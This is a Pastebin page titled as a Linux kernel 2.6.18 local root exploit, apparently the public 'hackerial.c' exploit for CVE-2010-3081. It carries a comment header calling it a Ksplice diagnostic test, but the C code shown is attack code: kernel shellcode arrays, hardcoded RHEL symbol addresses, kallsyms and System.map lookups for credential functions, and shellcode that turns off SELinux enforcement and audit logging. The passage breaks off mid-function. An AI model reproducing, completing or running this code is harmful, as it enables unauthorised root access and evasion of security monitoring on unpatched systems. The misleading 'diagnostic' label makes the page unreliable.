API tools faq
paste
Tophat

kernel-2.6.18.194 */*e15 */* 2010 Local Root Exploit

Tophat
Aug 14th, 2012
232
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 27.00 KB | None | 0 0
raw download clone embed print report
  1. ====================================================
  2. kernel-2.6.18.194 */*e15 */* 2010 Local Root Exploit
  3. ====================================================
  4.  
  5. # Author: Hackeri-AL
  6. # Email : h-al [at] hotmail [dot] it
  7. # Group : UAH / United ALBANIA Hackers
  8. # Web   : uah1.org.uk
  9. # Greetz: LoocK3D - b4cKd00r ~
  10.  
  11. --------------------------------------------
  12.  
  13. /*
  14.  
  15. Diagnostic test for CVE-2010-3081 public exploit
  16.  
  17. Greg Price, Ksplice, Inc.
  18.  
  19. Tests whether the system has previously been exposed to the exploit
  20. published as "hackerial.c" by Hackeri-AL on 2010 Sep 15.  Based on the
  21. original exploit code.
  22.  
  23. For more information, see
  24.   http://www.ksplice.com/uptrack/cve-2010-3081
  25.  
  26. */
  27.  
  28.  
  29.  
  30.    
  31.  
  32. #include <poll.h>
  33.  
  34. #include <string.h>
  35.  
  36. #include <unistd.h>
  37.  
  38. #include <sys/types.h>
  39.  
  40. #include <stdlib.h>
  41.  
  42. #include <sys/wait.h>
  43.  
  44. #include <sys/utsname.h>
  45.  
  46. #include <sys/socket.h>
  47.  
  48. #include <sched.h>
  49.  
  50. #include <netinet/in.h>
  51.  
  52. #include <stdio.h>
  53.  
  54. #include <sys/stat.h>
  55.  
  56. #include <fcntl.h>
  57.  
  58. #include <sys/mman.h>
  59.  
  60. #include <sys/ipc.h>  
  61.  
  62. #include <sys/msg.h>
  63.  
  64. #include <errno.h>
  65.  
  66.    
  67.  
  68.    
  69.  
  70. #ifndef __i386__
  71.  
  72. #error "r34d th3 c0d3 m0r0n!!# () #"
  73.  
  74. #else
  75.  
  76. #define _GNU_SOURCE
  77.  
  78. #define __dgdhdytrg55 unsigned int
  79.  
  80. #define __yyrhdgdtfs66ytgetrfd unsigned long long
  81.  
  82. #define __dhdyetgdfstreg__ memcpy
  83.  
  84.    
  85.  
  86. #define VERT                  "\033[32m"
  87.  
  88. #define NORM                  "\033[0m"
  89.  
  90. #define BANNER                VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
  91.  
  92.    
  93.  
  94. #define KALLSYMS              "/proc/kallsyms"
  95.  
  96. #define TMAGIC_66TDFDRTS      "/proc/timer_list"
  97.  
  98. #define SELINUX_PATH          "/selinux/enforce"
  99.  
  100. #define RW_FOPS               "timer_list_fops"
  101.  
  102. #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
  103.  
  104. #define PREPARE_GGDTSGFSRFSD  "prepare_creds"
  105.  
  106. #define OVERRIDE_GGDTSGFSRFSD "override_creds"
  107.  
  108. #define REVERT_DHDGTRRTEFDTD  "revert_creds"
  109.  
  110. #define Y0Y0SMAP              0x100000UL
  111.  
  112. #define Y0Y0CMAP              0x200000UL
  113.  
  114. #define Y0Y0STOP              (Y0Y0SMAP+0xFFC)
  115.  
  116. #define J0J0S                 0x00200000UL
  117.  
  118. #define J0J0R00T              0x002000F0UL
  119.  
  120. #define PAGE_SIZE             0x1000
  121.  
  122.    
  123.  
  124. #define KERN_DHHDYTMLADSFPYT     0x1
  125.  
  126. #define KERN_DGGDYDTEGGETFDRLAK  0x2
  127.  
  128. #define KERN_HHSYPPLORQTWGFD     0x4  
  129.  
  130.    
  131.  
  132.    
  133.  
  134. #define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8
  135.  
  136. #define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10
  137.  
  138. #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20
  139.  
  140.    
  141.  
  142. #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40
  143.  
  144.    
  145.  
  146. #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
  147.  
  148.    
  149.  
  150. #define TRY_REMAP_DEFAULT 1
  151.  
  152.    
  153.  
  154. #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
  155.  
  156. #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
  157.  
  158. #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
  159.  
  160. #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
  161.  
  162.    
  163.  
  164. static char buffer[1024];
  165.  
  166. static int s;
  167.  
  168. static int flags=0;
  169.  
  170. volatile static socklen_t magiclen=0;
  171.  
  172. static int useidt=0, usefops=0, uselsm=0;
  173.  
  174. static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
  175.  
  176. static __dgdhdytrg55 _m_cpu_off=0;
  177.  
  178. static char krelease[64];
  179.  
  180. static char kversion[128];
  181.  
  182.    
  183.  
  184. #define R0C_0FF 14
  185.  
  186. static char ttrg0ccc[]=
  187.  
  188. "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"  
  189.  
  190. "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"  
  191.  
  192. "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"    
  193.  
  194. "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"                  
  195.  
  196. "\xeb\xcc\x5e\x5b\x5f\x59\xc3";                
  197.  
  198.    
  199.  
  200.    
  201.  
  202. #define R0YTTTTUHLFSTT_OFF1 5
  203.  
  204. #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
  205.  
  206. #define R0TDGFSRSLLSJ_SHSYSTGD 45
  207.  
  208. char r1ngrrrrrrr[]=
  209.  
  210. "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"                                
  211.  
  212. "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"  
  213.  
  214. "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"                              
  215.  
  216. "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"  
  217.  
  218. "\xff\xd3\x5f\x5f\x5a\x5b\xc3";                                        
  219.  
  220.    
  221.  
  222.    
  223.  
  224. #define RJMPDDTGR_OFF 13
  225.  
  226. #define RJMPDDTGR_DHDYTGSCAVSF 7
  227.  
  228. #define RJMPDDTGR_GDTDGTSFRDFT 25
  229.  
  230. static char ttrfd0[]=
  231.  
  232. "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  233.  
  234. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"                      
  235.  
  236. "\x58\x5f"
  237.  
  238. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  239.  
  240. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  241.  
  242. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  243.  
  244. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  245.  
  246. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  247.  
  248. "\xc3";
  249.  
  250.    
  251.  
  252.    
  253.  
  254. /* implement selinux bypass for IDT ! */
  255.  
  256. #define RJMPDDTGR_OFF_IDT 14
  257.  
  258. #define RJMPDDTGR_DYHHTSFDARE 8
  259.  
  260. #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
  261.  
  262. static char ruujhdbgatrfe345[]=
  263.  
  264. "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      
  265.  
  266. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"                                  
  267.  
  268. "\x0f\x01\xf8"
  269.  
  270. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  271.  
  272. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  273.  
  274. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  275.  
  276. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  277.  
  278. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  279.  
  280. "\x48\xcf";  
  281.  
  282.    
  283.  
  284.    
  285.  
  286.    
  287.  
  288. #define CJE_4554TFFDTRMAJHD_OFF  10
  289.  
  290. #define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23
  291.  
  292. static char dis4blens4sel1nuxhayettgdr64545[]=
  293.  
  294. "\x41\x52\x50"
  295.  
  296. "\xb8\x00\x00\x00\x00"
  297.  
  298. "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
  299.  
  300. "\x41\x89\x02"
  301.  
  302. "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
  303.  
  304. "\x41\x89\x02"
  305.  
  306. "\x58\x41\x5a";            
  307.  
  308.    
  309.  
  310.    
  311.  
  312.    
  313.  
  314.    
  315.  
  316. /* rhel LSM stuffs */
  317.  
  318. #define RHEL_LSM_OFF 98
  319.  
  320.    
  321.  
  322. struct LSM_rhel  
  323.  
  324. {  
  325.  
  326.   __yyrhdgdtfs66ytgetrfd selinux_ops;
  327.  
  328.   __yyrhdgdtfs66ytgetrfd capability_ops;
  329.  
  330.   __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  331.  
  332.    
  333.  
  334.   __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  335.  
  336.   __yyrhdgdtfs66ytgetrfd audit_enabled;
  337.  
  338.    
  339.  
  340.   const char *krelease;  
  341.  
  342.   const char *kversion;
  343.  
  344.    
  345.  
  346. };
  347.  
  348.    
  349.  
  350. struct LSM_rhel known_targets[4]=
  351.  
  352. {
  353.  
  354.   {
  355.  
  356.     0xffffffff8031e600ULL,
  357.  
  358.     0xffffffff8031fec0ULL,
  359.  
  360.     0xffffffff804acc00ULL,
  361.  
  362.    
  363.  
  364.     0xffffffff804af960ULL,
  365.  
  366.     0xffffffff8049b124ULL,
  367.  
  368.    
  369.  
  370.     "2.6.18-164.el5",
  371.  
  372.     "#1 SMP Thu Sep 3 03:28:30 EDT 2009"  // to manage minor/bug fix changes
  373.  
  374.   },
  375.  
  376.   {
  377.  
  378.    0xffffffff8031f600ULL,
  379.  
  380.    0xffffffff80320ec0ULL,
  381.  
  382.    0xffffffff804afc00ULL,
  383.  
  384.    
  385.  
  386.    0xffffffff804b2960ULL,
  387.  
  388.    0xffffffff8049e124ULL,
  389.  
  390.    
  391.  
  392.    "2.6.18-164.11.1.el5",
  393.  
  394.    "#1 SMP Wed Jan 6 13:26:04 EST 2010"
  395.  
  396.   },
  397.  
  398.   {
  399.  
  400.     0xffffffff805296a0ULL,
  401.  
  402.     0xffffffff8052af60ULL,
  403.  
  404.     0xffffffff806db1e0ULL,
  405.  
  406.    
  407.  
  408.     0xffffffff806ddf40ULL,
  409.  
  410.     0xffffffff806d5324ULL,
  411.  
  412.    
  413.  
  414.     "2.6.18-164.11.1.el5xen",
  415.  
  416.     "#1 SMP Wed Jan 20 08:06:04 EST 2010"   // default xen
  417.  
  418.   },
  419.  
  420.   {
  421.  
  422.     0xffffffff8031f600ULL,// d selinux_ops
  423.  
  424.     0xffffffff80320ec0ULL,// d capability_ops
  425.  
  426.     0xffffffff804afc00ULL,// B dummy_security_ops
  427.  
  428.    
  429.  
  430.     0xffffffff804b2960ULL,// B selinux_enforcing
  431.  
  432.     0xffffffff8049e124ULL,// B audit_enabled
  433.  
  434.    
  435.  
  436.     "2.6.18-164.11.1.el5",
  437.  
  438.     "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
  439.  
  440.    }
  441.  
  442.    
  443.  
  444. };
  445.  
  446.    
  447.  
  448. static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
  449.  
  450.    
  451.  
  452. struct socketcallAT
  453.  
  454. {
  455.  
  456.   int s;
  457.  
  458.   int level;
  459.  
  460.   int optname;
  461.  
  462.   void *optval;
  463.  
  464.   volatile socklen_t *optlen;  
  465.  
  466. }__attribute__((packed));
  467.  
  468.    
  469.  
  470. struct idt64from32_s  
  471.  
  472. {
  473.  
  474.   unsigned short limit;
  475.  
  476.   unsigned long base;
  477.  
  478. }__attribute__((packed));
  479.  
  480.    
  481.  
  482. static __yyrhdgdtfs66ytgetrfd getidt()
  483.  
  484. {
  485.  
  486.   struct idt64from32_s idt;
  487.  
  488.   memset(&idt, 0x00, sizeof(struct idt64from32_s));
  489.  
  490.   asm volatile("sidt %0" : "=m"(idt));
  491.  
  492.   return idt.base | 0xFFFFFFFF00000000ULL;
  493.  
  494. }
  495.  
  496.    
  497.  
  498.    
  499.  
  500. static int isSelinuxEnabled()
  501.  
  502. {
  503.  
  504.   FILE *selinux_f;
  505.  
  506.   selinux_f = fopen(SELINUX_PATH, "r");
  507.  
  508.   if(selinux_f == NULL)
  509.  
  510.   {
  511.  
  512.     if(errno == EPERM)
  513.  
  514.       return 1;
  515.  
  516.     else
  517.  
  518.      return 0;
  519.  
  520.   }
  521.  
  522.    
  523.  
  524.   fclose(selinux_f);
  525.  
  526.   return 1;
  527.  
  528. }
  529.  
  530.    
  531.  
  532. static int wtfyourunhere_heee(char *out_release, char* out_version)
  533.  
  534. {
  535.  
  536. int ret; const char*ptr;
  537.  
  538. int count=0;
  539.  
  540. char r[32], *bptr;
  541.  
  542. struct utsname buf;
  543.  
  544. ret =  uname(&buf);
  545.  
  546.    
  547.  
  548. if(ret < 0)
  549.  
  550.    return -1;  
  551.  
  552.    
  553.  
  554. strcpy(out_release, buf.release);
  555.  
  556. strcpy(out_version, buf.version);
  557.  
  558.    
  559.  
  560. ptr = buf.release;
  561.  
  562. bptr = r;
  563.  
  564. memset(r, 0x00, sizeof(r));  
  565.  
  566. while(*ptr)
  567.  
  568. {
  569.  
  570.    if(count == 2)
  571.  
  572.     {
  573.  
  574.       if(*ptr >= '0' && *ptr <= '9')
  575.  
  576.         *bptr++ = *ptr;
  577.  
  578.       else
  579.  
  580.         break;
  581.  
  582.     }
  583.  
  584.    
  585.  
  586.    if(*ptr == '.')
  587.  
  588.      count++;
  589.  
  590.    ptr++;
  591.  
  592. }
  593.  
  594.    
  595.  
  596. if(strlen(r) < 1 || !atoi(r))
  597.  
  598.    return -1;  
  599.  
  600.    
  601.  
  602. return atoi(r);  
  603.  
  604. }
  605.  
  606.    
  607.  
  608.    
  609.  
  610. static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
  611.  
  612. {
  613.  
  614.   *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
  615.  
  616.   *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
  617.  
  618.   __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);  
  619.  
  620.   __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);  
  621.  
  622. }
  623.  
  624.    
  625.  
  626.    
  627.  
  628. static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
  629.  
  630. {
  631.  
  632.   FILE *ka;
  633.  
  634.   char line[512];
  635.  
  636.   char reloc_a[64];
  637.  
  638.   char reloc[64];
  639.  
  640.    
  641.  
  642.   if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
  643.  
  644.     return 0;
  645.  
  646.      
  647.  
  648.   ka = fopen(filename, "r");
  649.  
  650.   if(!ka)
  651.  
  652.     return 0;
  653.  
  654.    
  655.  
  656.   while(fgets(line, 512, ka) != NULL)
  657.  
  658.   {
  659.  
  660.     char *l_p  = line;
  661.  
  662.     char *ra_p = reloc_a;
  663.  
  664.     char *r_p    = reloc;
  665.  
  666.     memset(reloc, 0x00, sizeof(reloc));
  667.  
  668.     memset(reloc_a, 0x00, sizeof(reloc_a));
  669.  
  670.     while(*l_p != ' ' && (ra_p - reloc_a)  < 64)
  671.  
  672.       *ra_p++ = *l_p++;  
  673.  
  674.     l_p += 3;
  675.  
  676.     while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
  677.  
  678.       *r_p++ = *l_p++;
  679.  
  680.    
  681.  
  682.     if(!strcmp(reloc, s))
  683.  
  684.     {
  685.  
  686.       __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
  687.  
  688.       return strtoull(reloc_a, NULL, 16);  
  689.  
  690.     }
  691.  
  692.   }
  693.  
  694.    
  695.  
  696.   return 0;  
  697.  
  698. }
  699.  
  700.    
  701.  
  702.    
  703.  
  704. static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
  705.  
  706. {
  707.  
  708.   return get_sym_ex(s, KALLSYMS, 0);
  709.  
  710. }
  711.  
  712.    
  713.  
  714. static int parse_cred(const char* val)
  715.  
  716. {
  717.  
  718.   int i=0;
  719.  
  720.   const char* p = val;
  721.  
  722.   char local[64], *l;
  723.  
  724.   for(i=0; i<3; i++)  
  725.  
  726.   {
  727.  
  728.     memset(local, 0x00, sizeof(local));
  729.  
  730.     l = local;
  731.  
  732.     while(*p && *p != ',')
  733.  
  734.       *l++ = *p++;
  735.  
  736.    
  737.  
  738.     if(!(*p) && i != 2)
  739.  
  740.       return -1;
  741.  
  742.    
  743.  
  744.     _m_cred[i] = strtoull(local, NULL, 16);
  745.  
  746.     p++;
  747.  
  748.   }
  749.  
  750.    
  751.  
  752.   return 0;  
  753.  
  754. }
  755.  
  756.    
  757.  
  758.    
  759.  
  760. #define SELINUX_OPS        "selinux_ops"
  761.  
  762. #define DUMMY_SECURITY_OPS "dummy_security_ops"
  763.  
  764. #define CAPABILITY_OPS     "capability_ops"
  765.  
  766. #define SELINUX_ENFORCING  "selinux_enforcing"
  767.  
  768. #define AUDIT_ENABLED      "audit_enabled"
  769.  
  770.    
  771.  
  772. struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
  773.  
  774. {
  775.  
  776.    int i;
  777.  
  778.    char mapbuf[128];
  779.  
  780.    struct LSM_rhel *lsm = &(known_targets[0]);
  781.  
  782.    
  783.  
  784.    if(check_rhel && !isRHHGDPPLADSF(krelease))
  785.  
  786.    {
  787.  
  788.      __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
  789.  
  790.      return NULL;
  791.  
  792.    }
  793.  
  794.    
  795.  
  796.    __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
  797.  
  798.    for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
  799.  
  800.    {
  801.  
  802.      if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
  803.  
  804.      {
  805.  
  806.        __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
  807.  
  808.        return lsm;
  809.  
  810.      }
  811.  
  812.    }
  813.  
  814.    
  815.  
  816.    __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
  817.  
  818.    strcpy(mapbuf, "/boot/System.map-");
  819.  
  820.    strcat(mapbuf, krelease);
  821.  
  822.    
  823.  
  824.    dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);
  825.  
  826.    dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
  827.  
  828.    dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
  829.  
  830.    dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
  831.  
  832.    dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
  833.  
  834.    
  835.  
  836.    
  837.  
  838.    if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
  839.  
  840.       !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
  841.  
  842.       !dyn4nt4n1labeggeyrthryt.capability_ops ||
  843.  
  844.       !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
  845.  
  846.       !dyn4nt4n1labeggeyrthryt.audit_enabled)
  847.  
  848.     return NULL;
  849.  
  850.    
  851.  
  852.    
  853.  
  854.    return &dyn4nt4n1labeggeyrthryt;
  855.  
  856. }
  857.  
  858.    
  859.  
  860. static void put_your_hands_up_hooker(int argc, char *argv[])
  861.  
  862. {
  863.  
  864.   int fd,ver,ret;
  865.  
  866.   char __b[16];
  867.  
  868.    
  869.  
  870.    
  871.  
  872.   fd = open(KALLSYMS, O_RDONLY);
  873.  
  874.   ret = read(fd, __b, 16); // dummy read
  875.  
  876.   if((fd >= 0 && ret > 0))
  877.  
  878.   {
  879.  
  880.     __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
  881.  
  882.     flags |= KERN_HHSYPPLORQTWGFD;
  883.  
  884.   }
  885.  
  886.   close(fd);
  887.  
  888.    
  889.  
  890.   ver = wtfyourunhere_heee(krelease, kversion);
  891.  
  892.   if(ver < 0)
  893.  
  894.     __yyy_tegdtfsrer("!!!  Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
  895.  
  896.    
  897.  
  898.   __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
  899.  
  900.    
  901.  
  902.    
  903.  
  904.   if(argc != 1)
  905.  
  906.   {
  907.  
  908.     while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
  909.  
  910.     {
  911.  
  912.       switch(ret)
  913.  
  914.       {
  915.  
  916.         case 'i':
  917.  
  918.           flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  919.  
  920.           useidt=1; // u have to use -i to force IDT Vector
  921.  
  922.           break;
  923.  
  924.    
  925.  
  926.         case 'f':
  927.  
  928.           flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
  929.  
  930.           break;
  931.  
  932.        
  933.  
  934.     case 'l':
  935.  
  936.       flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  937.  
  938.       break;
  939.  
  940.    
  941.  
  942.         case 'c':
  943.  
  944.           if(!optarg || parse_cred(optarg) < 0)
  945.  
  946.               __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
  947.  
  948.           break;
  949.  
  950.    
  951.  
  952.         case 'k':
  953.  
  954.           if(optarg)
  955.  
  956.             _m_fops = strtoull(optarg, NULL, 16);
  957.  
  958.           else
  959.  
  960.          __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
  961.  
  962.           break;
  963.  
  964.    
  965.  
  966.         case 's':
  967.  
  968.           if(!isSelinuxEnabled())
  969.  
  970.             __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
  971.  
  972.           else
  973.  
  974.             flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  975.  
  976.           break;
  977.  
  978.                
  979.  
  980.         case 'o':
  981.  
  982.           if(optarg)
  983.  
  984.             _m_cpu_off = strtoull(optarg, NULL, 16);
  985.  
  986.       else
  987.  
  988.         __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
  989.  
  990.           break;
  991.  
  992.       }
  993.  
  994.     }
  995.  
  996.   }
  997.  
  998.    
  999.  
  1000.    
  1001.  
  1002.   if(ver >= 29) // needs cred structure  
  1003.  
  1004.   {
  1005.  
  1006.     flags |= KERN_DGGDYDTEGGETFDRLAK;
  1007.  
  1008.      
  1009.  
  1010.     if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  1011.  
  1012.     {
  1013.  
  1014.       _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
  1015.  
  1016.       _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);  
  1017.  
  1018.       _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
  1019.  
  1020.     }
  1021.  
  1022.    
  1023.  
  1024.     if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  1025.  
  1026.     {
  1027.  
  1028.       __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  1029.  
  1030.     }
  1031.  
  1032.        
  1033.  
  1034.     __pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
  1035.  
  1036.     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
  1037.  
  1038.     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
  1039.  
  1040.     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  1041.  
  1042.   }
  1043.  
  1044.    
  1045.  
  1046.   if(ver >= 30)  // needs cpu offset
  1047.  
  1048.   {
  1049.  
  1050.     flags |= KERN_DHHDYTMLADSFPYT;
  1051.  
  1052.     if(!_m_cpu_off)
  1053.  
  1054.     _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
  1055.  
  1056.    
  1057.  
  1058.     if(!_m_cpu_off)  
  1059.  
  1060.       __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  1061.  
  1062.    
  1063.  
  1064.     __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
  1065.  
  1066.     *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
  1067.  
  1068.     *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  1069.  
  1070.   }
  1071.  
  1072. }
  1073.  
  1074.    
  1075.  
  1076.    
  1077.  
  1078. static void env_prepare(int argc, char* argv[])
  1079.  
  1080. {
  1081.  
  1082.    
  1083.  
  1084.   put_your_hands_up_hooker(argc, argv);
  1085.  
  1086.    
  1087.  
  1088.   if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops
  1089.  
  1090.   {
  1091.  
  1092.     __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
  1093.  
  1094.     if(!_m_fops)
  1095.  
  1096.       _m_fops = get_sym(RW_FOPS);
  1097.  
  1098.    
  1099.  
  1100.     /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
  1101.  
  1102.      * Thanks to the guy who killed this vector... you know who you are:)
  1103.  
  1104.      * Lucky for you, there are more:)  
  1105.  
  1106.      */
  1107.  
  1108.    
  1109.  
  1110.     if(_m_fops)  
  1111.  
  1112.     {
  1113.  
  1114.       usefops=1;
  1115.  
  1116.       __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
  1117.  
  1118.     }
  1119.  
  1120.   }
  1121.  
  1122.    
  1123.  
  1124.    
  1125.  
  1126.   if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  1127.  
  1128.   {
  1129.  
  1130.     curr_target = lsm_rhel_find_target(1);
  1131.  
  1132.     if(!curr_target)
  1133.  
  1134.     {
  1135.  
  1136.        __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");  
  1137.  
  1138.     }
  1139.  
  1140.     else
  1141.  
  1142.       uselsm=1;
  1143.  
  1144.   }
  1145.  
  1146.    
  1147.  
  1148.    
  1149.  
  1150.   if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  1151.  
  1152.   {
  1153.  
  1154.     // -i flag
  1155.  
  1156.     curr_target = lsm_rhel_find_target(0);
  1157.  
  1158.     if(!curr_target)
  1159.  
  1160.     {
  1161.  
  1162.        __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
  1163.  
  1164.        /* remove Selinux Flag */
  1165.  
  1166.        flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  1167.  
  1168.     }
  1169.  
  1170.   }
  1171.  
  1172.    
  1173.  
  1174.    
  1175.  
  1176.   if(!usefops && !useidt && !uselsm)
  1177.  
  1178.     __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n");  
  1179.  
  1180. }
  1181.  
  1182.    
  1183.  
  1184.    
  1185.  
  1186. static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
  1187.  
  1188. {
  1189.  
  1190.   int socklen_l = 8 + stack - addr - 16;
  1191.  
